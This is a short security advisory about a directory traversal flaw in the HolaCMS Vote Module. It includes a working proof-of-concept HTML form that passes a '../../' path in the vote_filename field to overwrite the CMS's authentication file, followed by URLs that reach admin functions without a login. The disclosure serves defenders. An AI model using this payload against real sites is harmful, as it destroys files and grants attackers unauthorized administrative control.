[UNIX] HolaCMS Arbitrary File Access

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  HolaCMS Arbitrary File Access
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SUMMARY

An input validation vulnerability was reported in  
<http://holacms.drunkencat.net/> HolaCMS in the Vote Module. The 
vulnerability allows a remote user to modify files on the target system.

DETAILS

The Vote-Module doesn't check if the submitted "vote_filename" variable is 
in the holaDB/votes/ directory or outside it. By utilizing directory 
traversal attack on the vote_filename parameter, for example 
holaDB/votes/../../, a remote attacker can modify local files that reside 
outside the holaDB directory.

By exploiting this vulnerability a remote user can manipulate or destroy 
system files - not only the ones in the CMS but every file accessible to 
HTTP server.

Proof of Concept:
Create this HTML form:
<form action="http://[target]/[site-with-vote].php?vote=1" method="POST">
<input type="hidden" name="vote_filename" 
value="holaDB/votes/../../admin/multiuser/multiuser.php">
<input type="hidden" name="result" value="0">
<input type="submit" value="Stimme abgeben" name="button">
</form>

Now edit [target] and [site-with-vote] to match your site, when you push 
the button the first lines of the multiuser.php (which includes the 
authentication mechanism) is overwritten. This means that now when you 
call the page http://[target]/admin/index_cms.php you will have access to 
all administrative functions by calling URLs like:
http://[target]/admin/[module you want].php?username=siteadmin


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
Virginity Security.



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